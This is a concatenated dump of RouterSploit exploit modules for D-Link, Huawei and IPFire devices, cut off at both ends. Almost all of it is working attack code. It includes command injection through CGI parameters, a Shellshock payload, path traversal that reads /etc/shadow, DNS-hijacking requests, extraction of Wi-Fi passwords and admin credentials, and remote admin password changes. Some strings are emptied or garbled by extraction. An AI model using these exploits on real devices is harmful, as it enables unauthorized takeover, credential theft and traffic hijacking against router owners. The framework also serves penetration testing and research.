while 1: 50 | cmd = raw_input("cmd > ") 51 | 52 | if cmd in ['exit', 'quit']: 53 | return 54 | 55 | print self.execute(cmd) 56 | 57 | def execute(self, cmd): 58 | mark = random_text(32) 59 | url = "{}:{}/cgi-bin/gdrive.cgi?cmd=4&f_gaccount=;{};echo {};".format(self.target, self.port, cmd, mark) 60 | 61 | response = http_request(method="GET", url=url) 62 | if response is None: 63 | return "" 64 | 65 | if mark in response.text: 66 | regexp = "(|.+?){}".format(mark) 67 | res = re.findall(regexp, response.text, re.DOTALL) 68 | 69 | if len(res): 70 | return res[0] 71 | 72 | return "" 73 | 74 | @mute 75 | def check(self): 76 | number = int(random_text(6, alph=string.digits)) 77 | solution = number - 1 78 | 79 | cmd = "echo $(({}-1))".format(number) 80 | url = "{}:{}/cgi-bin/gdrive.cgi?cmd=4&f_gaccount=;{};echo ffffffffffffffff;".format(self.target, self.port, cmd) 81 | 82 | response = http_request(method="GET", url=url) 83 | if response is None: 84 | return False # target is not vulnerable 85 | 86 | if response.status_code == 200 and str(solution) in response.text: 87 | return True # target is vulnerable 88 | 89 | return False # target is not vulnerable 90 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/dlink/dsl_2640b_dns_change.py: -------------------------------------------------------------------------------- 1 | from routersploit import ( 2 | exploits, 3 | print_error, 4 | print_status, 5 | print_info, 6 | print_success, 7 | http_request, 8 | mute, 9 | validators, 10 | ) 11 | 12 | 13 | class Exploit(exploits.Exploit): 14 | """ 15 | Exploit implementation for D-Link DSL-2640B DNS Change vulnerability. 16 | If the target is vulnerable it possible to change dns settings" 17 | """ 18 | __info__ = { 19 | 'name': 'D-Link DSL-2640B DNS Change', 20 | 'description': 'Module exploits D-Link DSL-2640B dns change vulnerability.' 21 | 'If the target is vulnerable it is possible to change dns settings.', 22 | 'authors': [ 23 | 'Todor Donev ', # vulnerability discovery 24 | 'Marcin Bury ', # routersploit module 25 | ], 26 | 'references': [ 27 | 'https://www.exploit-db.com/exploits/36105/', 28 | 'https://github.com/jh00nbr/Routerhunter-2.0', 29 | ], 30 | 'devices': [ 31 | 'D-Link DSL-2640B', 32 | ] 33 | } 34 | 35 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address 36 | port = exploits.Option(80, 'Target port') # default port 37 | dns1 = exploits.Option('8.8.8.8', 'Primary DNS Server') 38 | dns2 = exploits.Option('8.8.4.4', 'Seconary DNS Server') 39 | 40 | def run(self): 41 | url = "{}:{}/ddnsmngr.cmd?action=apply&service=0&enbl=0&dnsPrimary={}&dnsSecondary={}&dnsDynamic=0&dnsRefresh=1&dns6Type=DHCP".format(self.target, 42 | self.port, 43 | self.dns1, 44 | self.dns2) 45 | 46 | print_status("Attempting to change DNS settings...") 47 | print_status("Primary DNS: {}".format(self.dns1)) 48 | print_status("Secondary DNS: {}".format(self.dns2)) 49 | 50 | response = http_request(method="POST", url=url) 51 | if response is None: 52 | return 53 | 54 | if response.status_code == 200: 55 | print_success("DNS settings has been changed") 56 | else: 57 | print_error("Could not change DNS settings") 58 | 59 | @mute 60 | def check(self): 61 | # it is not possible to check if the target is vulnerable without exploiting device (changing dns) 62 | return None 63 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/dlink/dsl_2730b_2780b_526b_dns_change.py: -------------------------------------------------------------------------------- 1 | from routersploit import ( 2 | exploits, 3 | print_error, 4 | print_status, 5 | print_info, 6 | print_success, 7 | http_request, 8 | mute, 9 | validators, 10 | ) 11 | 12 | 13 | class Exploit(exploits.Exploit): 14 | """ 15 | Exploit implementation for D-Link DSL-2780B, DSL-2730B and DSL-526B DNS Change vulnerability. 16 | If the target is vulnerable it possible to change dns settings" 17 | """ 18 | __info__ = { 19 | 'name': 'D-Link DSL-2780B & DSL-2730B & DSL-526B DNS Change', 20 | 'description': 'Module exploits D-Link DSL-2780B, DSL-2730B and DSL-526B dns change vulnerability.' 21 | 'If the target is vulnerable it is possible to change dns settings.', 22 | 'authors': [ 23 | 'Todor Donev ', # vulnerability discovery 24 | 'Marcin Bury ', # routersploit module 25 | ], 26 | 'references': [ 27 | 'https://www.exploit-db.com/exploits/37237/', 28 | 'https://github.com/jh00nbr/Routerhunter-2.0', 29 | ], 30 | 'devices': [ 31 | 'D-Link DSL-2780B', 32 | 'D-Link DSL-2730B', 33 | 'D-Link DSL-526B', 34 | ] 35 | } 36 | 37 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address 38 | port = exploits.Option(80, 'Target port') # default port 39 | dns1 = exploits.Option('8.8.8.8', 'Primary DNS Server') 40 | dns2 = exploits.Option('8.8.4.4', 'Seconary DNS Server') 41 | 42 | 43 | def run(self): 44 | url = "{}:{}/dnscfg.cgi?dnsPrimary={}&dnsSecondary={}&dnsDynamic=0&dnsRefresh=1&dnsIfcsList=".format(self.target, 45 | self.port, 46 | self.dns1, 47 | self.dns2) 48 | 49 | print_status("Attempting to change DNS settings...") 50 | print_status("Primary DNS: {}".format(self.dns1)) 51 | print_status("Secondary DNS: {}".format(self.dns2)) 52 | 53 | response = http_request(method="POST", url=url) 54 | if response is None: 55 | return 56 | 57 | if response.status_code == 200: 58 | print_success("DNS settings has been changed") 59 | else: 60 | print_error("Could not change DNS settings") 61 | 62 | @mute 63 | def check(self): 64 | # it is not possible to check if the target is vulnerable without exploiting device (changing dns) 65 | return None 66 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/dlink/dsl_2740r_dns_change.py: -------------------------------------------------------------------------------- 1 | from routersploit import ( 2 | exploits, 3 | print_error, 4 | print_status, 5 | print_info, 6 | print_success, 7 | http_request, 8 | mute, 9 | validators, 10 | ) 11 | 12 | 13 | class Exploit(exploits.Exploit): 14 | """ 15 | Exploit implementation for D-Link DSL-2740R DNS Change vulnerability. 16 | If the target is vulnerable it possible to change dns settings" 17 | """ 18 | __info__ = { 19 | 'name': 'D-Link DSL-2740R DNS Change', 20 | 'description': 'Module exploits D-Link DSL-2740R dns change vulnerability.' 21 | 'If the target is vulnerable it is possible to change dns settings.', 22 | 'authors': [ 23 | 'Todor Donev ', # vulnerability discovery 24 | 'Marcin Bury ', # routersploit module 25 | ], 26 | 'references': [ 27 | 'https://www.exploit-db.com/exploits/35917/', 28 | 'https://github.com/jh00nbr/Routerhunter-2.0', 29 | ], 30 | 'devices': [ 31 | 'D-Link DSL-2740R', 32 | ] 33 | } 34 | 35 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address 36 | port = exploits.Option(80, 'Target port') # default port 37 | dns1 = exploits.Option('8.8.8.8', 'Primary DNS Server') 38 | dns2 = exploits.Option('8.8.4.4', 'Seconary DNS Server') 39 | 40 | def run(self): 41 | url = "{}:{}/Forms/dns_1?Enable_DNSFollowing=1&dnsPrimary={}&dnsSecondary={}".format(self.target, 42 | self.port, 43 | self.dns1, 44 | self.dns2) 45 | 46 | print_status("Attempting to change DNS settings...") 47 | print_status("Primary DNS: {}".format(self.dns1)) 48 | print_status("Secondary DNS: {}".format(self.dns2)) 49 | 50 | response = http_request(method="POST", url=url) 51 | if response is None: 52 | return 53 | 54 | if response.status_code == 200: 55 | print_success("DNS settings has been changed") 56 | else: 57 | print_error("Could not change DNS settings") 58 | 59 | @mute 60 | def check(self): 61 | # it is not possible to check if the target is vulnerable without exploiting device (changing dns) 62 | return None 63 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/dlink/dsl_2750b_info_disclosure.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | from routersploit import ( 4 | exploits, 5 | print_success, 6 | print_error, 7 | print_table, 8 | http_request, 9 | mute, 10 | validators, 11 | ) 12 | 13 | 14 | class Exploit(exploits.Exploit): 15 | """ 16 | Exploit implementation for DSL-2750B Information Disclosure vulnerability. 17 | If the target is vulnerable it allows to read SSID, Wi-Fi password and PIN code." 18 | """ 19 | __info__ = { 20 | 'name': 'D-Link DSL-2750B Info Disclosure', 21 | 'description': 'Module explois information disclosure vulnerability in D-Link DSL-2750B devices. It is possible to retrieve sensitive information such as SSID, Wi-Fi password, PIN code.', 22 | 'authors': [ 23 | 'Alvaro Folgado # vulnerability discovery', 24 | 'Jose Rodriguez # vulnerability discovery', 25 | 'Ivan Sanz # vulnerability discovery', 26 | 'Marcin Bury # routersploit module', 27 | ], 28 | 'references': [ 29 | 'http://seclists.org/fulldisclosure/2015/May/129' 30 | ], 31 | 'devices': [ 32 | 'D-Link DSL-2750B EU_1.01', 33 | ], 34 | } 35 | 36 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address 37 | port = exploits.Option(80, 'Target port') # default port 38 | 39 | def run(self): 40 | url = "{}:{}/hidden_info.html".format(self.target, self.port) 41 | 42 | response = http_request(method="GET", url=url) 43 | if response is None: 44 | return 45 | 46 | creds = [] 47 | data = ['2.4G SSID', '2.4G PassPhrase', '5G SSID', '5G PassPhrase', 'PIN Code'] 48 | 49 | for d in data: 50 | regexp = "{}:\r\n\t\t\t(.+?)".format(d) 51 | val = re.findall(regexp, response.text) 52 | 53 | if len(val): 54 | creds.append((d, val[0])) 55 | 56 | if len(creds): 57 | print_success("Credentials found!") 58 | headers = ("Option", "Value") 59 | print_table(headers, *creds) 60 | else: 61 | print_error("Credentials could not be found") 62 | 63 | @mute 64 | def check(self): 65 | url = "{}:{}/hidden_info.html".format(self.target, self.port) 66 | 67 | response = http_request(method="GET", url=url) 68 | if response is None: 69 | return False # target is not vulnerable 70 | 71 | if any(map(lambda x: x in response.text, ["SSID", "PassPhrase"])): 72 | return True # target is vulnerable 73 | 74 | return False # target is not vulnerable 75 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/dlink/dvg_n5402sp_path_traversal.py: -------------------------------------------------------------------------------- 1 | from routersploit import ( 2 | exploits, 3 | print_success, 4 | print_error, 5 | print_status, 6 | http_request, 7 | mute, 8 | validators, 9 | ) 10 | 11 | 12 | class Exploit(exploits.Exploit): 13 | """ 14 | Exploit implementation for D-Link DVG-N5402SP path traversal vulnerability. 15 | If the target is vulnerable it allows to read files from the device." 16 | """ 17 | __info__ = { 18 | 'name': 'D-Link DVG-N5402SP Path Traversal', 19 | 'description': 'Module exploits D-Link DVG-N5402SP path traversal vulnerability, which allows reading files form the device', 20 | 'authors': [ 21 | 'Karn Ganeshen', # vulnerability discovery 22 | 'Marcin Bury ', # routersploit module 23 | ], 24 | 'references': [ 25 | 'https://www.exploit-db.com/exploits/39409/', 26 | 'http://ipositivesecurity.blogspot.com/2016/02/dlink-dvgn5402sp-multiple-vuln.html', 27 | ], 28 | 'devices': [ 29 | 'D-Link DVG-N5402SP', 30 | ] 31 | } 32 | 33 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1') # target address 34 | port = exploits.Option(8080, 'Target port') # default port 35 | filename = exploits.Option('/etc/shadow', 'File to read') # file to read 36 | 37 | def run(self): 38 | # address and parameters 39 | url = "{}:{}/cgi-bin/webproc".format(self.target, self.port) 40 | data = {"getpage": "html/index.html","*errorpage*": "../../../../../../../../../../..{}".format(self.filename), "var%3Amenu": "setup", "var%3Apage": "connected", "var%": "", "objaction": "auth", "%3Ausername": "blah", "%3Apassword": "blah","%3Aaction": "login","%3Asessionid": "abcdefgh"} 41 | 42 | # connection 43 | response = http_request(method="POST", url=url, data=data) 44 | if response is None: 45 | return 46 | 47 | if response.status_code == 200: 48 | print_success("Exploit success") 49 | print_status("File: {}".format(self.filename)) 50 | print response.text 51 | else: 52 | print_error("Exploit failed") 53 | 54 | @mute 55 | def check(self): 56 | # address and parameters 57 | url = "{}:{}/cgi-bin/webproc".format(self.target, self.port) 58 | data = {"getpage": "html/index.html","*errorpage*": "../../../../../../../../../../../etc/shadow", "var%3Amenu": "setup", "var%3Apage": "connected", "var%": "", "objaction": "auth", "%3Ausername": "blah", "%3Apassword": "blah","%3Aaction": "login","%3Asessionid": "abcdefgh"} 59 | 60 | # connection 61 | response = http_request(method="POST", url=url, data=data) 62 | if response is None: 63 | return False # target is not vulnerable 64 | 65 | if "root" in response.text: 66 | return True # target vulnerable 67 | 68 | return False # target not vulnerable 69 | 70 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/dlink/dwr_932_info_disclosure.py: -------------------------------------------------------------------------------- 1 | import json 2 | 3 | from routersploit import ( 4 | exploits, 5 | print_success, 6 | print_error, 7 | print_table, 8 | print_status, 9 | http_request, 10 | mute, 11 | validators, 12 | ) 13 | 14 | 15 | class Exploit(exploits.Exploit): 16 | """ 17 | Exploit implementation for D-Link DWR-932 Information Disclosure vulnerability. 18 | If the target is vulnerable it allows to read credentials for administrator." 19 | """ 20 | __info__ = { 21 | 'name': 'D-Link DWR-932 Info Disclosure', 22 | 'description': 'Module explois information disclosure vulnerability in D-Link DWR-932 devices. It is possible to retrieve sensitive information such as credentials.', 23 | 'authors': [ 24 | 'Saeed reza Zamanian' # vulnerability discovery 25 | 'Marcin Bury ', # routersploit module 26 | ], 27 | 'references': [ 28 | 'https://www.exploit-db.com/exploits/39581/', 29 | ], 30 | 'devices': [ 31 | 'D-Link DWR-932', 32 | ] 33 | } 34 | 35 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address 36 | port = exploits.Option(80, 'Target port') # default port 37 | 38 | def run(self): 39 | url = "{}:{}/cgi-bin/dget.cgi?cmd=wifi_AP1_ssid,wifi_AP1_hidden,wifi_AP1_passphrase,wifi_AP1_passphrase_wep,wifi_AP1_security_mode,wifi_AP1_enable,get_mac_filter_list,get_mac_filter_switch,get_client_list,get_mac_address,get_wps_dev_pin,get_wps_mode,get_wps_enable,get_wps_current_time&_=1458458152703".format(self.target, self.port) 40 | 41 | response = http_request(method="GET", url=url) 42 | if response is None: 43 | return 44 | 45 | try: 46 | print_status("Decoding JSON") 47 | data = json.loads(response.text) 48 | except ValueError: 49 | print_error("Exploit failed - response is not valid JSON") 50 | return 51 | 52 | if len(data): 53 | print_success("Exploit success") 54 | 55 | rows = [] 56 | for key in data.keys(): 57 | if len(data[key]) > 0: 58 | rows.append((key, data[key])) 59 | 60 | headers = ("Parameter", "Value") 61 | print_table(headers, *rows) 62 | 63 | @mute 64 | def check(self): 65 | url = "{}:{}/cgi-bin/dget.cgi?cmd=wifi_AP1_ssid,wifi_AP1_hidden,wifi_AP1_passphrase,wifi_AP1_passphrase_wep,wifi_AP1_security_mode,wifi_AP1_enable,get_mac_filter_list,get_mac_filter_switch,get_client_list,get_mac_address,get_wps_dev_pin,get_wps_mode,get_wps_enable,get_wps_current_time&_=1458458152703".format(self.target, self.port) 66 | 67 | response = http_request(method="GET", url=url) 68 | if response is None: 69 | return False # target is not vulnerable 70 | 71 | if response.status_code == 200: 72 | try: 73 | data = json.loads(response.text) 74 | if len(data): 75 | return True # target is vulnerable 76 | except ValueError: 77 | return False # target is not vulnerable 78 | 79 | return False # target is not vulnerable 80 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/fortinet/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exploit-install/routersploit/0a14e8bb160a2bebc21d499d168abf67a7c35622/routersploit/modules/exploits/fortinet/__init__.py -------------------------------------------------------------------------------- /routersploit/modules/exploits/huawei/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exploit-install/routersploit/0a14e8bb160a2bebc21d499d168abf67a7c35622/routersploit/modules/exploits/huawei/__init__.py -------------------------------------------------------------------------------- /routersploit/modules/exploits/huawei/e5331_mifi_info_disclosure.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | from routersploit import ( 4 | exploits, 5 | print_status, 6 | print_error, 7 | print_success, 8 | print_table, 9 | http_request, 10 | mute, 11 | validators, 12 | ) 13 | 14 | 15 | class Exploit(exploits.Exploit): 16 | """ 17 | Exploit implementation for Huawei E5331 Information Disclosure vulnerability. 18 | If the target is vulnerable it allows to read sensitive information." 19 | """ 20 | __info__ = { 21 | 'name': 'Huawei E5331 Info Disclosure', 22 | 'description': 'Module exploits information disclosure vulnerability in Huawei E5331 MiFi Mobile Hotspot devices. If the target is vulnerable it allows to read sensitive information.', 23 | 'authors': [ 24 | 'J. Greil https://www.sec-consult.com', # vulnerability discovery 25 | 'Marcin Bury ', # routersploit module 26 | ], 27 | 'references': [ 28 | 'https://www.exploit-db.com/exploits/32161/', 29 | ], 30 | 'devices': [ 31 | 'Huawei E5331 MiFi Mobile Hotspot', 32 | ], 33 | } 34 | 35 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address 36 | port = exploits.Option(80, 'Target port') # default port 37 | 38 | opts = ['WifiAuthmode', 'WifiBasicencryptionmodes', 'WifiWpaencryptionmodes', 'WifiWepKey1', 'WifiWepKey2', 39 | 'WifiWepKey3', 'WifiWepKey4', 'WifiWepKeyIndex', 'WifiWpapsk', 'WifiWpsenbl', 'WifiWpscfg', 'WifiRestart'] 40 | 41 | def run(self): 42 | url = "{}:{}/api/wlan/security-settings".format(self.target, self.port) 43 | 44 | response = http_request(method="GET", url=url) 45 | if response is None: 46 | return False # target is not vulnerable 47 | 48 | res = [] 49 | for option in self.opts: 50 | regexp = "<{}>(.+?)".format(option, option) 51 | value = re.findall(regexp, response.text) 52 | if value: 53 | res.append((option, value[0])) 54 | 55 | if len(res): 56 | print_success("Found sensitive information!") 57 | print_table(("Option", "Value"), *res) 58 | 59 | @mute 60 | def check(self): 61 | url = "{}:{}/api/wlan/security-settings".format(self.target, self.port) 62 | 63 | response = http_request(method="GET", url=url) 64 | if response is None: 65 | return False # target is not vulnerable 66 | 67 | res = [] 68 | for option in self.opts: 69 | regexp = "<{}>(.+?)".format(option, option) 70 | value = re.findall(regexp, response.text) 71 | if value: 72 | res.append(value) 73 | 74 | if len(res): 75 | return True # target is vulnerable 76 | 77 | return False # target is not vulnerable 78 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/huawei/hg530_hg520b_password_disclosure.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | from routersploit import ( 4 | exploits, 5 | print_status, 6 | print_error, 7 | print_success, 8 | http_request, 9 | mute, 10 | validators, 11 | ) 12 | 13 | 14 | class Exploit(exploits.Exploit): 15 | """ 16 | Exploit implementation for Huawei HG530 and HG520b Password Disclosure vulnerability. 17 | If the target is vulnerable it allows to read credentials." 18 | """ 19 | __info__ = { 20 | 'name': 'Huawei HG530 & HG520b Password Disclosure', 21 | 'description': 'Module exploits password disclosure vulnerability in Huawei HG530 and HG520b devices. If the target is vulnerable it allows to read credentials.', 22 | 'authors': [ 23 | 'Fady Mohamed Osman (@fady_osman)', # vulnerability discovery 24 | 'Marcin Bury ', # routersploit module 25 | ], 26 | 'references': [ 27 | 'https://www.exploit-db.com/exploits/37424/', 28 | ], 29 | 'devices': [ 30 | 'Huawei Home Gateway HG530', 31 | 'Huawei Home Gateway HG520b', 32 | ], 33 | } 34 | 35 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address 36 | port = exploits.Option(80, 'Target port') # default port 37 | 38 | def run(self): 39 | url = "{}:{}/UD/?5".format(self.target, self.port) 40 | headers = {'SOAPACTION': '"urn:dslforum-org:service:UserInterface:1#GetLoginPassword"', 41 | 'Content-Type': 'text/xml; charset="utf-8"', 42 | 'Expect': '100-continue'} 43 | data = ("" 44 | "" 45 | "" 46 | "" 47 | "" 48 | "" 49 | "") 50 | 51 | response = http_request(method="POST", url=url, headers=headers, data=data) 52 | if response is None: 53 | return 54 | 55 | r = re.compile('(.*?)') 56 | m = r.search(response.text) 57 | 58 | if m: 59 | print_success("Password has been found") 60 | print_info("Password: {}".format(m.group(1))) 61 | else: 62 | print_error("Exploit failed - could not find password") 63 | 64 | @mute 65 | def check(self): 66 | url = "{}:{}/UD/?5".format(self.target, self.port) 67 | headers = {'SOAPACTION': '"urn:dslforum-org:service:UserInterface:1#GetLoginPassword"', 68 | 'Content-Type': 'text/xml; charset="utf-8"', 69 | 'Expect': '100-continue'} 70 | data = ("" 71 | "" 72 | "" 73 | "" 74 | "" 75 | "" 76 | "") 77 | 78 | response = http_request(method="POST", url=url, headers=headers, data=data) 79 | if response is None: 80 | return False # target is not vulnerable 81 | 82 | r = re.compile('(.*?)') 83 | m = r.search(response.text) 84 | 85 | if m: 86 | return True # target is vulnerable 87 | 88 | return False # target not vulnerable 89 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/huawei/hg630a_default_creds.py: -------------------------------------------------------------------------------- 1 | import paramiko, termios, tty, sys, select, socket 2 | 3 | from routersploit import ( 4 | exploits, 5 | print_status, 6 | print_error, 7 | print_success, 8 | mute, 9 | ) 10 | 11 | 12 | class Exploit(exploits.Exploit): 13 | """ 14 | Exploit implementation for Huawei HG630a and HG630a-50 devices. If the target is vulnerable it is possible to authenticate through SSH service. 15 | """ 16 | __info__ = { 17 | 'name': 'Huawei HG630a Default Credentials', 18 | 'description': 'Module exploits default SSH credentials Huawei HG630a and HG630a-50 devices. If the target is vulnerable it is possible to authenticate through SSH service.', 19 | 'authors': [ 20 | 'Murat Sahin (@murtshn)', # vulnerability discovery 21 | 'Marcin Bury ', # routersploit module 22 | ], 23 | 'references': [ 24 | 'https://www.exploit-db.com/exploits/38663/', 25 | ], 26 | 'devices': [ 27 | 'Huawei HG630a', 28 | 'Huawei HG630a-50', 29 | ], 30 | } 31 | 32 | target = exploits.Option('', 'Target IP address') # target address 33 | user = exploits.Option('admin', 'Default username to log in with') 34 | password = exploits.Option('admin', 'Default password to log in with') 35 | 36 | def run(self): 37 | ssh = paramiko.SSHClient() 38 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 39 | 40 | try: 41 | ssh.connect(self.target, 22, timeout=5, username=self.user, password=self.password) 42 | except (paramiko.ssh_exception.SSHException, socket.error): 43 | print_error("Exploit failed - cannot log in with credentials {} / {}".format(self.user, self.password)) 44 | return 45 | else: 46 | print_success("SSH - Successful authentication") 47 | 48 | chan = ssh.invoke_shell() 49 | oldtty = termios.tcgetattr(sys.stdin) 50 | try: 51 | tty.setraw(sys.stdin.fileno()) 52 | tty.setcbreak(sys.stdin.fileno()) 53 | chan.settimeout(0.0) 54 | 55 | while(True): 56 | r, w, e = select.select([chan, sys.stdin], [], []) 57 | if(chan in r): 58 | try: 59 | x = unicode(chan.recv(1024)) 60 | 61 | if(len(x) == 0): 62 | sys.stdout.write('\r\nExiting...\r\n') 63 | break 64 | 65 | sys.stdout.write(x) 66 | sys.stdout.flush() 67 | 68 | except socket.timeout: 69 | pass 70 | 71 | if(sys.stdin in r): 72 | x = sys.stdin.read(1) 73 | 74 | if(len(x) == 0): 75 | break 76 | 77 | chan.send(x) 78 | 79 | finally: 80 | termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty) 81 | return 82 | 83 | @mute 84 | def check(self): 85 | ssh = paramiko.SSHClient() 86 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 87 | 88 | try: 89 | ssh.connect(self.target, 22, timeout=5, username=self.user, password=self.password) 90 | except (paramiko.ssh_exception.SSHException, socket.error): 91 | return False # target is not vulnerable 92 | else: 93 | return True # target is vulnerable 94 | 95 | return False # target not vulnerable 96 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/huawei/hg866_password_change.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | from routersploit import ( 4 | exploits, 5 | print_status, 6 | print_error, 7 | print_success, 8 | http_request, 9 | mute, 10 | validators, 11 | ) 12 | 13 | 14 | class Exploit(exploits.Exploit): 15 | """ 16 | Exploit implementation for Huawei HG866 Password Change vulnerability. 17 | If the target is vulnerable it allows to change administration password. 18 | """ 19 | __info__ = { 20 | 'name': 'Huawei HG866 Password Cahnge', 21 | 'description': 'Module exploits password change vulnerability in Huawei HG866 devices. If the target is vulnerable it allows to change administration password.', 22 | 'authors': [ 23 | 'hkm', # vulnerability discovery 24 | 'Marcin Bury ', # routersploit module 25 | ], 26 | 'references': [ 27 | 'https://www.exploit-db.com/exploits/19185/', 28 | ], 29 | 'devices': [ 30 | 'Huawei HG866', 31 | ], 32 | } 33 | 34 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address 35 | port = exploits.Option(80, 'Target port') # default port 36 | password = exploits.Option('routersploit', 'Password value to change admin account with') 37 | 38 | def run(self): 39 | if self.check(): 40 | url = "{}:{}/html/password.html".format(self.target, self.port) 41 | headers = {u'Content-Type': u'application/x-www-form-urlencoded'} 42 | data = {'psw': self.password, 43 | 'reenterpsw': self.password, 44 | 'save': 'Apply'} 45 | 46 | print_status("Sending password change request") 47 | response = http_request(method="POST", url=url, headers=headers, data=data) 48 | 49 | if response.status_code == 200: 50 | print_success("Administrator's password has been changed to {}".format(self.password)) 51 | else: 52 | print_error("Exploit failed - could not change password") 53 | else: 54 | print_error("Exploit failed - target seems to be not vulnerable") 55 | 56 | @mute 57 | def check(self): 58 | url = "{}:{}/html/password.html".format(self.target, self.port) 59 | 60 | response = http_request(method="GET", url=url) 61 | if response is None: 62 | return False # target is not vulnerable 63 | 64 | if response.status_code == 200 and "psw" in response.text and "reenterpsw" in response.text: 65 | return True # target is vulnerable 66 | 67 | return False # target not vulnerable 68 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/ipfire/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exploit-install/routersploit/0a14e8bb160a2bebc21d499d168abf67a7c35622/routersploit/modules/exploits/ipfire/__init__.py -------------------------------------------------------------------------------- /routersploit/modules/exploits/ipfire/ipfire_proxy_rce.py: -------------------------------------------------------------------------------- 1 | from routersploit import ( 2 | exploits, 3 | print_error, 4 | print_success, 5 | print_status, 6 | random_text, 7 | http_request, 8 | mute, 9 | validators, 10 | shell, 11 | ) 12 | 13 | 14 | class Exploit(exploits.Exploit): 15 | """ 16 | Exploit implementation for IPFire < 2.19 Core Update 101 Remote Code Execution vulnerability. 17 | If the target is vulnerable, command loop is invoked that allows executing commands on operating system level. 18 | """ 19 | __info__ = { 20 | 'name': 'IPFire Proxy RCE', 21 | 'description': 'Module exploits IPFire < 2.19 Core Update 101 Remote Code Execution vulnerability which allows executing command on operating system level.', 22 | 'authors': [ 23 | 'Yann CAM', # vulnerability discovery 24 | 'Marcin Bury ', # routersploit module 25 | ], 26 | 'references': [ 27 | 'https://www.exploit-db.com/exploits/39765/', 28 | 'http://www.ipfire.org/news/ipfire-2-19-core-update-101-released', 29 | ], 30 | 'devices': [ 31 | 'IPFire < 2.19 Core Update 101', 32 | ] 33 | } 34 | 35 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) 36 | port = exploits.Option(444, 'Target Port') 37 | 38 | username = exploits.Option('admin', 'Username to log in with') 39 | password = exploits.Option('admin', 'Password to log in with') 40 | 41 | def run(self): 42 | if self.check(): 43 | print_success("Target is vulnerable") 44 | print_status("Invoking command loop...") 45 | shell(self, architecture="none", method="awk", binary="awk") 46 | else: 47 | print_error("Target is not vulnerable") 48 | 49 | def command_loop(self): 50 | while 1: 51 | cmd = raw_input("cmd > ") 52 | 53 | if cmd in ['exit', 'quit']: 54 | return 55 | 56 | print self.execute(cmd) 57 | 58 | @mute 59 | def execute(self, cmd): 60 | url = "{}:{}/cgi-bin/proxy.cgi".format(self.target, self.port) 61 | 62 | headers = {u'Content-Type': u'application/x-www-form-urlencoded', 63 | u'Referer': url} 64 | 65 | payload = "||{};#".format(cmd) 66 | 67 | data = {"NCSA_USERNAME": random_text(12), 68 | "NCSA_GROUP": "standard", 69 | "NCSA_PASS": payload, 70 | "NCSA_PASS_CONFIRM": payload, 71 | "SUBMIT": "Create+user", 72 | "ACTION": "Add", 73 | "NCSA_MIN_PASS_LEN": "6"} 74 | 75 | response = http_request(method="POST", url=url, headers=headers, data=data, auth=(self.username, self.password), timeout=10) 76 | if response is None: 77 | return "" 78 | 79 | end = response.text.find("") 80 | 81 | if end: 82 | return response.text[:end] 83 | 84 | return "" 85 | 86 | @mute 87 | def check(self): 88 | mark = random_text(32) 89 | cmd = "echo {}".format(mark) 90 | 91 | response = self.execute(cmd) 92 | 93 | if mark in response: 94 | return True # target is vulnerable 95 | 96 | return False # target is not vulnerable 97 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/ipfire/ipfire_shellshock.py: -------------------------------------------------------------------------------- 1 | from routersploit import ( 2 | exploits, 3 | print_status, 4 | print_error, 5 | print_success, 6 | print_info, 7 | random_text, 8 | http_request, 9 | mute, 10 | validators, 11 | ) 12 | 13 | 14 | class Exploit(exploits.Exploit): 15 | """ 16 | Exploit implementation for Shellshock vulnerability in IPFire <= 2.15 Core Update 82. 17 | If the target is vulnerable it allows to execute command on operating system level. 18 | """ 19 | __info__ = { 20 | 'name': 'IPFire Shellshock', 21 | 'description': 'Exploits shellshock vulnerability in IPFire M= 2.15 Core Update 82. If the target is vulnerable it is possible to execute commands on operating system level.', 22 | 'authors': [ 23 | 'Claudio Viviani', # vulnerability discovery 24 | 'Marcin Bury ', # routersploit module 25 | ], 26 | 'references': [ 27 | 'https://www.exploit-db.com/exploits/34839', 28 | ], 29 | 'devices': [ 30 | 'IPFire <= 2.15 Core Update 82', 31 | ], 32 | } 33 | 34 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address 35 | port = exploits.Option(444, 'Target port') # default port 36 | 37 | username = exploits.Option('admin', 'Username to log in with') 38 | password = exploits.Option('admin', 'Password to log in with') 39 | 40 | payload = "() { :;}; /bin/bash -c '{{cmd}}'" 41 | 42 | def run(self): 43 | if self.check(): 44 | print_success("Target is vulnerable") 45 | print_status("Invoking command loop...") 46 | self.command_loop() 47 | else: 48 | print_error("Target is not vulnerable") 49 | 50 | def command_loop(self): 51 | while 1: 52 | cmd = raw_input("cmd > ") 53 | 54 | if cmd in ['exit', 'quit']: 